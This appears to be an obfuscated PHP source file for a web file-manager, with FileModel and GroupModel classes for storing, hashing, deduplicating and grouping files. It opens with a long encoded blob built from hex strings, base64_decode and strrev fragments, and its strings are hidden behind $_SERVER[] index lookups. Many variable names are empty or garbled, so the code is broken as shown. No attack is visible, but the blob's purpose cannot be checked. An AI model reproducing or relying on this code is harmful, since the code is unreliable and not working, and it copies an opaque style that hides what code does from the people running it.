')."\x2\xa7\xda\xcd\x53\xed\xf9\xf8\x43\x2d\x58\x2b\xdc\x46\x11\x9a\x20\x1c\xc4\xe2\x7d\x44\xb8\xf3\xa3\xce\x68\x20\x85\xa\xa6\x3\xf8\x21\x97\x0\xde\xa4\xe2\xcc\x22\x51\xe8\x2a\x8f\x33\x46\xc3\xe1".base64_decode('L/Dky/wZjhIJQ+t7or2LI92Sdo4EUNvau9VQT0/VBPkbQXy1HVjLJP5phnELjEJOSQ==')."\x63\xb3\x83\x96\x1a\xc\xad\x51\x6c\x2b\xcd\x5c\xe8\xd6\x4\x81\xc6\x92\xc\xe2\xc\xb0\xc0\x80\x22\xb5\xb8\x88\x92\x45\x28\xe4\x27\x21\x9a\x5c\xbb\x70\x41\xd0\x58\xc8\x27\x42\xb8\x5\xb2\x4c\x61"."\x55\x11\x8\x1e\x87\x4f\x4\x41\xac\xff\x52\x3c\x1\xcf\xbc\x7c\x1d\x4f\xa0\x1d\xc2\x9\x90\xa2\x2c\xd0\x14\x3a\xc6\x2d\xb5\x44\x28\x5b\xab\xc\xa2\xbd\x9a\x2b\x5\x2e\xf4\x16\xee\x66\x77\x22\xb"."\x82\x9a\x9c\x88\x57\x5d\xdc\x64\xac\x31\x3f\x8\xc\x73\x7\x78\x55\xe5\xea\x21\xc9\xe1\x36\x79\x60\xa3\x4d\x2b\x2e\xaf\x2c\x82\x2b\xf\xa4\xe5\x24\x3a\x93\xc4\xee\xa3\x32\x7f\x90\x9c\x3e\x83\xe2".base64_decode('zOO+eOBy+ipIUdLSQxjHxIYAX4KEHnxIoQmu5wMcSeugjC2fiJzXEo/ZbNhAK8I8wA==').base64_decode('xo2VMFBo9CaFSoYXhPHFC8OHRQFDO5v7MxRX5UwCwvLQX1Em2r1YROghxZXYx3SHSQ==')."\xac\xbf\xaf\x36\x30\x6d\xe3\xc6\xa0\xc1\xd4\x7b\x98\x2a\x2\x2b\x1b\xe0\xb9\x69\xbc\x3f\xe0\xce\x8f\x7a\x2\x43\xcf\x33\x2\xc0\x9b\x93\x72\x94\x4b\x60\xc9\x1d\x10\x9c\x26\xac\xb5\xb8\x1a\x8f\x82".strrev('i4]ػrEJmG/l'."\n".'.qBƖ[ZZ{u')."\xd\x87\x4a\x25\x39\x1a\x64\x11\x2c\xe2\xce\x1b\xa9\x20\x5f\xe3\x54\xec\x1d\x48\xb\x23\x27\x96\x85\x50\x18\xf\x1c\xeb\xe0\x78\x12\xb0\x8d\x7\x1\xf\x23\xf2\x88\xf8\xb0\xb5\x5e\x38\xaa\x8b\x3"."\x79\x60\x81\x9d\xb6\x8c\x92\xe3\xa2\x4e\xf4\x65\xc6\x1a\xf2\x8c\xce\x5a\x6d\x58\xa3\x59\x6a\x14\x38\xa1\xb7\xd4\x10\xef\xf2\x35\x88\x1a\xd1\x14\x20\x3\xa2\x29\xb\x30\xd9\x51\x2c\x3d\xdf\x52\x43".strrev('C q{jppCoU4F+h嘏'."\n".'5KO*:k')."\xd3\x6a\x79\xdd\xa2\x3a\xcd\x84\xc8\x90\xb\xad\xac\x10\xc3\xc0\xe3\x5a\x3d\xf1\x58\x32\xd6\xc6\xde\x22\xaa\x26\xaf\x99\xc9\x58\x59\x9b\x1a\x86\x89\x23\xf\xb3\x4c\xe1\x57\xfc\x2c\x7\x67\xe\x82"."\x0\x81\x79\xb7\xca\xc5\x22\xd7\x96\xc2\xdc\x22\xdf\xc1\xb0\xf6\x85\xba\x24\x11\xeb\x66\x4f\x7a\x24\x39\xda\x60\x33\x9a\x80\xd2\xa7\xb1\xb\x10\x50\xb3\x24\x46\x30\x6d\xd1\x48\xb8\x3b\xa9\x46\x60".base64_decode('o2psmhNoEJYp9NInMVh2xIaKXdknseGsDWDJuR92LYi+1UfNd1samI0C09MSRlSQsw==')."\112\35\124\32\231\344\172\120\172\321\45\60\241\337\316\233\314\337\141\123\103\103\203\277\241\21\375\317\64\171\231\227\265\346\206\206\212\54\15\15\315\344\177\232\100\204\204\60\157"."\356\24\104\37\30\141\203\14\43\272\16\15\202\275\242\140\24\313\214\7\353\153\303\106\115\12\156\32\164\131\350\161\241\51\43\156\10\31\215\231\57\235\34\347\53\344\62\14\142"."\272\167\20\370\55\43\40\201\354\243\232\205\21\53\204\20\202\14\12\264\227\133\336\241\154\2\325\346\123\103\307\26\336\250\160\61\323\47\177\54\300\6\227\2\205\137\145\77\113"."\360\313\357\40\100\41\272\173\10\151\272\253\151\250\214\333\277\41\206\240\275\73\315\373\211\1\222\200\5\363\165\222\317\106\34\225\205\346\44\231\233\257\221\130\236\133\325\343\150"."\67\257\211\76\267\101\215\310\140\14\253\240\353\240\71\242\212\215\32\107\227\360\30\31\122\174\302\142\150\230\221\114\14\361\270\62\222\55\145\347\102\51\161\25\16\67\373\304\324"."\174\310\310\273\14\154\125\251\250\74\266\363\161\106\326\223\244\273\44\256\10\55\372\20\177\164\204\152\332\261\266\51\260\364\150\224\170\131\46\17\3\122\345\310\346\3\52\46\327"."\361\116\54\231\43\313\24\326\262\25\372\55\54\46\315\24\23\4\47\76\107\5\205\101\302\14\100\265\67\332\270\163\103\251\2\157\222\247\114\210\312\217\53\12\0\274\62\67\221".strrev('{<=nCJ|:Xc6U'."\r".'67:*aܞW')."\145\316\52\231\170\353\345\174\62\20\13\364\331\363\234\200\316\302\142\127\23\257\3\113\131\305\131\110\2\272\127\263\224\320\306\337\6\222\201\370\60\47\53\57\20\225\123\167\35".base64_decode('+JTohvCWfQbSsdO9A0+5ygp3NJugSFjyIsuHVReaMFxluhJ4hMQVpRtOYfT87bolSQ==').strrev('ʪCW,ral >Nw1r--X,Ux耮JחB')."\274\242\73\371\203\246\125\20\321\215\154\25\130\105\130\10\134\1\264\6\255\146\51\206\153\7\102\346\103\347\100\233\112\361\174\30\254\320\127\76\225\242\316\355\244\335\223\52\27"."\200\27\172\114\304\162\141\117\251\162\41\134\127\257\207\104\55\165\121\104\336\326\76\322\130\246\257\245\114\15\64\201\56\331\124\346\162\237\322\143\161\377\30\204\156\367\241\156\15"."\x20\xbe\x7f\x9c\xef\x26\x30\x21\x7d\x94\x1a\xb3\x3a\x71\x93\x21\x94\x61\xf3\xb3\xae\xac\x33\x66\x5e\x71\x6f\xb4\xd2\xb6\xa1\x48\x75\x2\x15\x4f\xe\x5a\xa6\xc3\xcf\x7d\x38\x1d\xa1\xa5\x88\x44\x65"."\x6\x2f\x49\x8b\xf8\x17\x8a\xcf\xba\x6e\xcb\x24\xef\xd3\x3c\x2b\xda\xe6\xd9\xd7\x35\xd6\x22\xa2\x3\x45\xbc\x77\x4b\x47\x51\x4f\xd4\xab\x31\x46\xb6\x69\x87\xed\xb4\xcc\x9d\xb7\x50\xa6\xc2\xb3\x9a".base64_decode('kFRsqnwBCvEiwD9Yetq0iCRC8q5QdOJ6To5GTS6BwbdeepUqsEMbadXjRRBKO2XZPQ==').strrev('(B&xp>B2=%W@diҩ8To$').base64_decode('ZuSAKyCeSnAPbDkNVYu974qeyUXINyuK0DTMwwh/H3KKjf2297Jpq5ZS5VMkSRrRNA==').base64_decode('94AEoyMGCRLGdKZV6G9s8jP/UbLBBDtE0Bg+7EhogI9kjIqATh7kE3lM6cKL+AARng==')."\xf\x88\xbb\x13\x3e\x9f\xc4\x2f\xa\x8f\x59\xd2\x56\xae\x73\x7d\x3d\xe2\x20\x44\xa6\xaa\xe2\xfe\x9c\xaa\xf1\xe1\xc\xbd\xd5\xd2\xe9\x8\xe1\xe4\x76\x97\xe2\xa5\x27\x3\x5a\x19\xee\x74\x70\xe0\x2e".base64_decode('GkN9lJgurRhPJfBMgOyinpQS/RDapwhkUjfx0sAIPQDqOoWp0XK6JMBJkwMrdQkwVg==').base64_decode('QpXUxBRezqyrxyamLslX1xg3+MOaOXiP5OqWthxhqRw5bVeEaiK5SnMQzzWiM6tQJg==').strrev('{rU,I([H+HHT}u16#s@*R7L^KJ:').base64_decode('e6i9K9KthqLR2AqX3poQK1v8EY6M/GaHNDNiEujXKx2JgRsm2T26R4pBp0/2KVdiFw==')."\50\360\354\40\167\341\117\243\322\223\72\45\113\63\154\135\2\320\247\140\246\201\155\205\226\317\273\36\323\313\147\245\150\331\275\263\126\375\224\112\77\300\140\222\377\272\152\31\342".base64_decode('kcWdyf91U42M8B1lZJgeBzeFo9792+SHF9k3K54N+twHiHyS7xniXYe9g2aS0wiwyg==')."\24\26\211\251\324\315\214\370\4\72\47\133\143\45\371\316\57\230\141\157\260\60\136\23\273\310\13\263\213\46\34\21\347\2\234\35\152\303\237\243\247\105\164\10\306\62\57\166\202".base64_decode('YHqIiE7AOLvuvD1PKXlVNl2P1Fd8g/jxp2l9uDso54DoHIrxdzpEUW9KlQagZEWIlA==')."\x78\x6\xa5\x45\x69\xa0\xaf\x7a\xf1\x37\x18\x94\x5\xcc\xb0\x57\x7c\x80\x38\xb5\xa\x17\x4a\x8e\xeb\x24\xdd\x29\x2b\x6d\x4b\x73\x43\x1\x84\xd3\x11\x27\x25\xac\x8d\x64\x16\xc6\x2a\x0\x2e\x39\x52".base64_decode('lLWLq9nhFyiKWVMeP0KQsQY+fZuPHtl9iF3XncqHfGjx/y8FaWJC8lzorqSyQbZ3qw==')."\23\154\27\176\243\150\320\34\161\77\320\207\41\336\127\211\134\357\21\111\213\206\330\237\312\57\50\271\13\371\52\136\2\121\310\313\253\12\102\165\230\105\354\314\210\35\11\111\146".strrev('˺ y,4L5):s5|کJ?OS')."\366\124\25\166\120\347\176\103\105\74\115\43\366\116\367\123\35\374\222\330\26\213\301\166\134\217\303\44\315\244\226\363\121\216\14\123\65\21\153\35\223\303\262\352\47\351\5\112\144".base64_decode('srQMn++FUgb23lvGR14mo6TO+7qJtNI4/ZRL5/JmSsvHqVaay17DQqcpne0BrmwUFA==').strrev('zOϲyΒ'."\0".'KЌ\\9ҭbU;&_o%eq%J').base64_decode('JyyzIDtqZw+904MBk6tk96xcIt0hvUQerLyXxfp2QFHkN+3hYjwgH8Qgg7JAEajhWg==')."\xc8\x18\x95\x10\x37\x4c\xdf\x7e\x23\x94\x42\x66\xdc\x3f\x3\x2a\xbd\xbc\x3\x6f\xcc\x55\x7b\x48\x87\x62\x3e\xf9\x69\xd7\xb3\xfc\x50\x83\xe3\x62\x73\x97\x3d\x56\x8\x85\xd\xef\xf3\x6f\x95\x4f\xd9"."\261\147\353\330\322\201\67\353\252\74\104\67\341\73\166\76\141\204\367\131\357\363\10\123\61\367\303\305\270\37\234\65\340\347\206\212\243\207\367\324\301\207\325\123\40\356\35\344\244".base64_decode('WSmeFTfXrlf2pF4Daat8qU8aBqnfZSvvI5f4PuYJrupjf67XgrwTWuW5wM+tEJSByQ==').base64_decode('oSvjpnrNC1IWuxX1ZjNcuKtaurAkob49KzaIVYVM04xZ82ThhphCcT8IdvJw5Qncig==')."\100\12\305\65\14\76\205\71\24\225\127\77\111\164\353\147\127\76\46\351\331\1\376\167\13\106\234\36\150\126\111\153\272\362\121\336\212\21\40\170\52\351\23\111\33\242\107\101\304"."\xc4\x1a\x1c\xb6\x58\x75\x74\xb\x14\xef\x49\xba\xbf\x45\xd9\x87\x2a\xfd\x10\x9f\x95\x16\xb\x7d\xf\xd0\xcc\xe3\x33\x76\x1\x8b\xce\x1d\x4b\x73\x1f\x28\xab\x9d\x9b\xc8\x48\xb0\x43\x9a\x41\x1e\xda"."\xd6\xbd\x6d\x27\x3\x3\xd2\x14\x91\x2c\x1d\xac\xe4\x1a\x1d\xd3\x2b\xa\xc2\xc5\xf1\xbe\x48\x24\x91\xb1\x62\x1e\xb6\x6d\x6c\x76\x2c\x56\x9b\x44\x89\xfe\x17\x13\xc8\xce\x48\xf4\x38\x25\xd4\x83\xaa"."\xf4\x3c\x78\x22\x23\x2d\x55\xde\x7b\x94\xb4\x2d\x3e\xa3\xdd\x94\xbb\xe3\xe7\x41\xbf\xe6\xf8\x25\x84\x94\xc4\x87\xba\x13\x23\x13\xc\x24\x42\x1c\x5b\xdd\x7d\xf5\x54\x8f\x8a\x89\x3a\x6\x7c\xca\x44".base64_decode('mSpZPOlZSOGYSmLucGlmizjBqZ+YwrnZJPnROmJRJvwwkOXqWrqSz17ZKItUJK+Jyg==')."\xaa\xa5\x27\x0\x85\x54\x88\x88\x91\xa0\x47\xb0\xa0\x89\x3e\x2\x69\x66\x68\x31\xb7\xe2\xd3\x24\xfd\x2e\xb7\xa8\xa\xf\xb5\xf4\xbc\xab\x29\x87\xc5\x14\x60\xb2\x1f\x63\x9e\x50\xd1\xd7\x5d\x47\x4d"."\x14\x6f\xf7\xbc\xf6\x4b\x48\x94\xf7\x9\x60\x36\x44\x84\x2e\x8\x92\x27\x19\x83\xba\xce\x35\xfc\x51\x34\xd7\x39\xc7\xf6\xbe\x84\x88\xb8\x3d\xd9\x9b\x31\x8a\x7a\x5f\x92\x5\xda\x48\x94\xec\xe9\xd7"."\xa4\xdd\x95\x35\x2a\x27\x85\xba\xcb\x5\x11\x91\xe4\xbb\xe4\x48\xc5\x13\x5d\x36\xb3\xd8\xdb\x92\x87\xc\x30\x4b\x5c\xdb\xf3\x42\x2a\xf5\x33\x4b\xc3\x8c\xf3\xff\xff\xfd\x8\xe0\xff\xad\xb7\xff\x66"."\65\60\111\274\353\1\341\305\300\177\103\153\361\155\43\227\107\120\51\260\247\37\356\35\164\62\140\21\177\36\133\212\163\115\142\346\161\213\71\342\322\330\145\224\226\317\113\373\154".strrev('E|+ <Q @s }32^"՞kK')."\236\240\45\216\243\42\233\370\52\142\114\230\363\262\40\13\245\361\31\220\170\24\200\361\222\115\100\143\45\166\132\254\7\62\77\0\277\140\151\16\124\111\246\104\56\120\5\375\112".strrev('o ń[ʰE|ʂUJ!&i&g]['."\r".'ff').base64_decode('3uiv/Bi1mMBSlDiWWzBJFLnSIVerVcpQTE2IPBOsleorlj/vKcRyOCT3l638Hssk3A==').strrev('K/K0tXvq&MHzb܀n9e')."\65\45\34\45\142\267\126\104\174\70\56\155\341\314\36\117\122\147\7\220\113\310\147\313\57\157\270\113\142\3\5\367\132\132\130\55\133\332\264\154\51\33\207\127\313\213\61\114\26".base64_decode('Yshp+O1fxzUXwrO/16M/OdrT07rr0A7XujJIuvVEnHfG/UQISSRg5lMTapDu7dzXpg==')."\xdc\x8f\x79\x5\xa5\x2c\x1b\x51\x29\x99\x94\x62\xae\xda\xd0\x2f\xb6\x59\x8c\x8\x4f\xc\x24\x99\xde\x48\x84\xa4\x7\xa6\xbd\xa5\xdc\x6f\x91\x4b\x97\xac\x69\x82\x79\xe1\xca\x7b\x34\x71\xbd\x27\xf1".base64_decode('GawYPhaJLcADr/a0dlYbFkySYMwzGf6qvSsrfw+KQxGEZyVMlmSuKzTo9RHvC8MB2Q==')."\304\327\225\261\22\52\314\171\245\362\342\106\105\164\23\303\252\165\237\54\64\167\161\331\134\230\43\225\0\321\107\36\270\106\226\164\10\302\126\42\102\125\213\166\205\237\365\305\47".base64_decode('3cbJPBufM5SH2OT4XVDPsQ6LVRjH4Emy5deB3XensvBBQgE9H5Wqk+9VJyyQqP4RgQ==')."\225\356\41\226\254\272\105\2\333\352\344\132\134\44\222\167\14\162\306\345\104\127\163\274\123\113\116\44\2\175\51\260\100\144\272\64\55\344\116\242\371\165\117\353\345\2\336\236\321"."\x12\xf6\x88\xe1\xa4\x7\xa5\x63\x52\x65\x62\x25\xdc\xaa\x18\x54\xf8\x50\xf5\xf6\x7a\x5b\xc5\xc6\xd4\x7b\x78\x14\x95\x54\xb4\x47\x52\xce\x48\x9a\x55\xca\xd0\x16\x55\x2d\x46\x93\x70\x49\xc1\xae\xba".base64_decode('yk4wBLgsTcJlK5JZYUnWIpVztLI9QfcqBw8EEJkqHfYc02nWicazaubKzwHGeXMTiQ==')."\105\365\126\10\101\203\347\222\274\132\53\252\146\236\260\25\42\267\147\27\250\106\153\131\312\204\306\104\23\52\216\10\145\212\112\62\57\322\252\250\166\320\117\342\55\134\366\344\124"."\x25\x59\xd6\x13\xa9\xae\x49\x12\xaf\x4a\x19\x6c\xb7\x8a\x87\x7\x2e\x8f\x1b\x38\x2\xa5\x11\xa6\xfb\x85\xe\x92\x79\x63\x48\x68\xbd\x31\x5\xf6\xa9\x2e\xf2\x5f\x2e\xe\x15\x4d\xbe\xa5\x64\x84\x82"."\x22\x56\xae\xe\x59\xde\x71\xae\xa8\xcd\x8d\xc6\xc5\xb2\xe4\x5b\xb5\xaa\x3e\xbd\xf\x1f\xfb\x2b\xf\xd8\x79\x8d\xdd\x12\x48\x86\x8\xf4\x44\x64\x3a\x46\x5a\x77\x3b\x70\x95\x1d\x3a\xd1\x74\xf6\x91"."\xbc\x24\x47\xf4\x88\xf0\x84\x10\xc2\xa5\x82\x50\x45\xc8\x45\x40\x34\x18\x10\xd2\x74\x5a\x9f\xe8\x8b\x84\x13\x2e\x1b\x11\xca\x46\xc0\x25\x4\xbd\xbf\x6c\xc3\xf7\xe4\xfc\xe6\x8a\x38\x1f\xa5\xdb\x2e"."\115\116\230\226\343\303\151\111\263\104\176\133\115\307\21\367\371\364\324\117\170\105\274\167\372\44\165\25\24\22\327\124\270\121\344\376\203\240\55\241\76\44\10\67\251\370\70\235\320"."\x69\x2a\xa1\x59\xae\x8\xbe\x57\xe1\x11\x79\x6b\x84\x1b\xd5\x8e\xb2\xe7\xce\x57\x0\xd0\xd9\x35\x65\x8e\x32\xd7\x8e\xd8\xc\x5d\xb4\x47\xdc\xbc\x90\x21\x13\xec\xb\xa0\x9f\xac\x70\x43\xc\xfc\xed"."\x20\x4d\x9\xc2\x53\x1\x7e\xd\xf3\x91\xf0\x2e\x59\x60\x6d\x29\xe7\x2a\x4e\x5f\x77\xe2\x7a\xa9\x9f\x55\x3\x48\x5c\x45\x15\xd4\x1f\x38\x11\x85\x81\x31\x4f\x22\x99\xa8\x48\xea\x9\x25\x12\x2b\x62"."\361\166\352\76\274\42\231\224\222\24\230\52\222\172\72\143\335\23\245\205\273\102\221\150\105\32\326\165\352\126\205\17\56\232\24\351\41\255\44\27\206\23\265\42\322\266\124\264\204".strrev(')!GFy^f$!!)M|Y/Бvydi~A M\\')."\124\204\365\224\272\241\356\170\11\240\330\235\72\137\353\234\317\26\167\355\1\327\235\274\4\47\353\201\20\30\11\347\344\175\230\0\246\125\35\40\131\10\134\171\51\101\122\305\0".base64_decode('4IYtMUHJba2Zki4d6CkH7ERhSCVdNBp2JTtarurVNBX24RUvxHD/B2F7TjSIrAAA').base64_decode('').base64_decode('')."".""."".""."", 10, -8))); goto A儇ج; Fdž: class FileModel extends ModelBase { protected $tableName = "\x69\x6f\137\x66\x69\154\145"; protected $tableMeta = array("\x74\141\142\x6c\145\116\141\x6d\145" => "\151\157\137\146\151\154\145\137\x6d\145\164\x61", "\155\x65\164\141\x46\x69\x65\154\144" => "\x66\x69\x6c\x65\x49\x44"); public function fileInfo($) { $ =& $_SERVER[]; static $ϊ = array(); if (!isset($ϊ[$])) { $Ϩ = $[1915]; $ = Model($[500])->field($Ϩ)->where(array($[498] => $))->find(); $ϊ[$] = $; } return $ϊ[$]; } public function addFileByContent($ = '', $ȷ = '') { $Ӟ =& $_SERVER[]; $໼ = TEMP_PATH . $Ӟ[1916]; if (!is_dir($໼)) { mk_dir($໼); } $ = $໼ . $Ӟ[1917] . rand_string(16); file_put_contents($, $); $ = $this->addFile($, $ȷ, !0); if (file_exists($)) { @unlink($); } return $; } public function createFileName($, $ = false, $ = false) { $ =& $_SERVER[]; $ = IO::init($[8]); $Ϣ܈ = $this->makeFilePath($, $, $, $); $ơDŽ = $->pathFather($Ϣ܈); static $ɾУ = false; $ = $[1918] . md5($ơDŽ); if (!$ɾУ && !Cache::get($)) { $ɾУ = !0; $ = IO::mkdir($ơDŽ); if (!IO::exist($ . $[823])) { IO::mkfile($ . $[823]); } Cache::set($, 1, 3600 * 2); } return $Ϣ܈; } public function makeFilePath($, $٭, $ق␠ = false, $ = false) { $ =& $_SERVER[]; $Ʌ = Model($[796])->get($[1919]); $˵ = KodIO::defaultIO() . date($[1920]); $҆ = $˵ . rand_string(5) . short_id(100); $ = str_replace($[8], $[11], KodIO::clear($)); $֒ = $٭->ext($); if (!$) { $Ʌ = $[1921]; } switch ($Ʌ) { case $[1922]: $҆ = $҆ . $[10] . $٭->ext($); if ($֒ == $[1859]) { $҆ .= $[1239]; } break; case $[1923]: $ܒ = Model($[796])->get($[797]); $ = substr(md5($[798] . $ܒ . date($[774])), 0, 8); $ = KodIO::defaultDriver(); $˵ = $[1270] . $[$[428]] . $[438] . date($[1924]) . $ . $[8]; if ($֒ == $[1859]) { $ .= $[1239]; } $ = $[1925] . $˵ . $; CacheLock::lock($); $҆ = $˵ . $; if (IO::exist($˵ . $)) { $ƚ = substr($, 0, strlen($) - strlen($֒)); $ = $ ? substr($, 0, 5) : ($ق␠ ? substr($ق␠, 0, 5) : rand_string(5)); $҆ = $˵ . $ƚ . $ . $[10] . $֒; } if (IO::isTypeObject($҆) && !IO::isUploadServer($҆)) { if (IO::exist($҆)) { return $҆; } $Ӝ = IO::setContent($҆, $[12]); if (!$Ӝ) { show_json($[1926], !1); } } CacheLock::unlock($); break; case $[1921]: break; default: break; } return $҆; } public function addFileByRemote($ø, $, $ͣϬ = array()) { $ =& $_SERVER[]; if (!IO::exist($ø)) { return !1; } $ = $ͣϬ[$[176]] ? $ͣϬ[$[176]] : $[12]; $ǟ = IO::hashMd5($ø, $); $ = KodIO::defaultDriver(); $ = array($[574] => IO::size($ø), $[1927] => 1, $[449] => $, $[834] => $[$[428]], $[450] => $ø, $[1928] => $ͣϬ[$[177]] ? $ͣϬ[$[177]] : IO::hashSimple($ø), $[1929] => $ǟ ? $ǟ : $); if ($闶 = $this->addFileCheckExist($[$[177]], $[$[176]], $[$[76]])) { return $闶; } return $this->addFileData($); } private function addFileData($ԋ̋) { $ =& $_SERVER[]; if (!$ԋ̋) { return !1; } $ԋ̋[$[76]] = intval($ԋ̋[$[76]]); if (!$ԋ̋[$[76]] && strlen($ԋ̋[$[177]]) > 32) { $ԋ̋[$[76]] = intval(substr($ԋ̋[$[177]], 32)); } $ = $this->add($ԋ̋); return $this->find($); } public function addFile($䧌, $, $ = false) { $Ϧ =& $_SERVER[]; $γ = IO::hashSimple($䧌); $׮ = IO::size($䧌); $٤ = $׮ <= 1024 * 1024 * 10 ? IO::hashMd5($䧌) : $Ϧ[12]; $Γ͈ = $Ϧ[1930] . $γ; CacheLock::lock($Γ͈); if ($٤ && $γ) { $঱ = $this->addFileCheckExist($γ, $٤, $׮); if ($঱) { CacheLock::unlock($Γ͈); return $঱; } } $χ = $this->addFileMake($䧌, $׮, $γ, $٤, $, $); $ = $this->addFileData($χ); CacheLock::unlock($Γ͈); if (!$٤ && $) { $this->fileMd5Check($); } return $; } private function fileMd5Check($Ί) { $ =& $_SERVER[]; $ؙ = array($Ί[$[497]], $Ί[$[84]]); $ = $[1931] . $Ί[$[84]]; $ = $[1932] . $Ί[$[497]]; $ևǮ = TaskQueue::add($[1933], $ؙ, $, $); if (!$ևǮ) { $this->fileMd5Set($Ί[$[497]], $Ί[$[84]]); } else { TaskQueue::addSubmit(); } } public function fileMd5Set($, $ߝ놵) { $Ȕ =& $_SERVER[]; $ɽ = $this->find($); if (!$ɽ || $ɽ[$Ȕ[176]]) { return; } $Ȯ = IO::hashMd5($ߝ놵); if (!$Ȯ) { return $Ȕ[12]; } $this->where(array($Ȕ[497] => $))->save(array($Ȕ[176] => $Ȯ)); } public function addFileMake($, $ߴ, $ˌ, $ؘ, $߁, $ٹ) { $ =& $_SERVER[]; $ = $this->createFileName($߁, $ˌ, $ؘ); $ = get_path_father($); $Г = get_path_this($); if ($ٹ) { $ւ = IO::move($, $, !1, $Г); } else { $ւ = IO::copy($, $, !1, $Г); } if (!$ւ) { return !1; } $ۘА = KodIO::defaultDriver(); $ = array($[574] => $ߴ, $[1927] => 1, $[449] => $߁, $[834] => $ۘА[$[428]], $[450] => $, $[1928] => $ˌ, $[1929] => $ؘ); return $; } public function addFileCheckExist($, $ך, $ܢƔ) { $ͤԅ =& $_SERVER[]; $ҟ = $this->findByHash($, $ך); if (!$ҟ) { return !1; } $ = array($ͤԅ[1927] => intval($ҟ[$ͤԅ[1934]]) + 1, $ͤԅ[574] => $ܢƔ); $this->where(array($ͤԅ[498] => $ҟ[$ͤԅ[497]]))->save($); return $ҟ; } public function remove($䀟) { $this->linkCountChange($䀟, !1); $this->clearEmpty(); return !0; } public function linkAdd($܄Ϻ) { $this->linkCountChange($܄Ϻ, !0); } public function linkCountChange($, $٧ц) { $候 =& $_SERVER[]; if (!$) { return; } if (!is_array($)) { $ = array($); } $րϕ = array(); foreach ($ as $) { $ = $ . $候[12]; if (!$րϕ[$]) { $րϕ[$] = 0; } $րϕ[$]++; } $ = array(); foreach ($րϕ as $ => $Л) { $ = $Л . $候[12]; if (!$[$]) { $[$] = array(); } $[$][] = $; } foreach ($ as $Л => $ꖦ) { if (!$ꖦ) { continue; } $Л = $٧ц ? $Л : -intval($Л); $ݽǙ = array($候[497] => array($候[7], $ꖦ)); if ($Л < 0) { $ݽǙ[$候[1934]] = array($候[1048], abs($Л)); } $this->where($ݽǙ)->setAdd($候[1934], $Л); } } public function findByHash($ݘ̯, $ڌ = false) { $Χ =& $_SERVER[]; if (!$ݘ̯ && !$ڌ) { return !1; } $ͽ = array($Χ[1928] => $ݘ̯); if ($ڌ) { $ͽ = array($Χ[1929] => $ڌ); } return $this->order($Χ[1935])->where($ͽ)->find(); } public function clearEmpty($ = 0) { $¾ =& $_SERVER[]; $ֳі = time() - 3600 * 24 * $; $Ų = $¾[1936] . $ֳі; $ʀ؂ = $this->where($Ų)->select(); if (!$ʀ؂) { return; } $ = new Task($¾[1937], $¾[12], count($ʀ؂)); foreach ($ʀ؂ as $) { $->update(1); $this->resetFile($); } $->end(); } public function resetFile($) { $ڦ =& $_SERVER[]; $ = array($ڦ[498] => $[$ڦ[497]]); $ = Model($ڦ[1366])->where($)->count(); $ż = Model($ڦ[1938])->where($)->count(); $Σ‡ = intval($) + intval($ż); if ($Σ‡ == 0) { IO::remove($[$ڦ[84]]); Model($ڦ[1939])->delete($[$ڦ[497]]); $this->where($)->delete(); $this->metaSet($[$ڦ[497]], null, null); return; } if ($[$ڦ[1934]] != $Σ‡) { $this->where($)->save(array($ڦ[1927] => $Σ‡)); } } public function storageInfo($ù = false) { $㘾 =& $_SERVER[]; $ć = $this->count() + 0.0; $ = 0; $Έ = 1; $ = 0; $͙ = 5000; for ($ = 0; $ < $ć; $ = $ + $͙) { $ = $this->limit($, $ + $͙)->select(); foreach ($ as $ǵ) { $Έ += $ǵ[$㘾[76]] * $ǵ[$㘾[1934]]; $ += $ǵ[$㘾[76]] * ($ǵ[$㘾[1934]] - 1); $ += $ǵ[$㘾[1934]]; } } $ = array($㘾[1940] => $Έ, $㘾[1941] => $, $㘾[1942] => $ / $Έ, $㘾[80] => $ć, $㘾[1943] => $); return $; } } class GroupModel extends ModelBase { protected $tableName = "\x67\162\157\x75\x70"; protected $tableMeta = array("\x74\141\x62\x6c\145\116\x61\155\x65" => "\147\x72\157\165\160\137\155\x65\x74\141", "\155\x65\164\141\106\151\x65\x6c\x64" => "\147\162\157\x75\x70\111\x44"); protected function cacheFunctionAlias($鉳) { $Ǧ =& $_SERVER[]; return array($Ǧ[1944] => array($鉳[0], $Ǧ[1945]), $Ǧ[1946] => array($鉳[0], $Ǧ[1947])); } protected function getInfo($, $創 = false) { $ = $this->getInfoSimple($); if (!$) { return !1; } if ($創) { return $this->_listDataApplyItem($); } return $this->cacheFunctionGet($_SERVER[][1948], $); } protected function getInfoSimple($Ոħ, $ = false) { $ᙩ =& $_SERVER[]; if ($) { $ͨ = array($ᙩ[1866] => intval($Ոħ)); $録 = $this->where($ͨ)->find(); return is_array($録) ? $録 : array(); } return $this->cacheFunctionGet($ᙩ[1949], $Ոħ); } protected function groupAdd($ܼ) { $šԟ =& $_SERVER[]; if (!$ܼ[$šԟ[461]] && isset($ܼ[$šԟ[1866]]) && $ܼ[$šԟ[1866]] == 1) { if ($ = $this->getInfoSimple($ܼ[$šԟ[1866]], !0)) { return $ܼ[$šԟ[1866]]; } } else { $ = $this->getInfoSimple($ܼ[$šԟ[461]]); if (!$) { return !1; } } $ = $šԟ[550]; if ($[$šԟ[540]]) { $ = $[$šԟ[540]] . $[$šԟ[1866]] . $šԟ[50]; } $ץ = array($šԟ[449] => $this->groupNameAuto($ܼ[$šԟ[461]], $ܼ[$šԟ[32]]), $šԟ[430] => $ܼ[$šԟ[461]], $šԟ[609] => $, $šԟ[1950] => $ܼ[$šԟ[1853]], $šԟ[1951] => 0, $šԟ[1870] => 0); if (isset($ܼ[$šԟ[1890]])) { $ץ[$šԟ[1890]] = $ܼ[$šԟ[1890]]; } else { $܈ = $this->max($šԟ[1890]); if (!$܈) { $܈ = 0; } $ץ[$šԟ[1890]] = $܈ + 1; } if (!empty($ܼ[$šԟ[1866]])) { $ץ[$šԟ[1866]] = $ܼ[$šԟ[1866]]; } $ = $this->add($ץ); $this->setNamePinyin($, $ץ[$šԟ[32]]); if (isset($ܼ[$šԟ[1952]])) { $this->metaSet($, array($šԟ[1952] => $ܼ[$šԟ[1952]], $šԟ[1953] => $ܼ[$šԟ[1953]])); unset($ܼ[$šԟ[1952]]); unset($ܼ[$šԟ[1953]]); } Model($šԟ[1366])->groupRootAdd($); $this->_clearCache($ܼ[$šԟ[461]]); return $; } protected function groupEdit($숚, $Ѿ) { $ =& $_SERVER[]; $Ƥ = $this->getInfoSimple($숚); if (!$Ƥ) { return !1; } if (!empty($Ѿ[$[461]])) { $ɜļ = $this->getInfoSimple($Ѿ[$[461]]); if (!$ɜļ) { return !1; } if 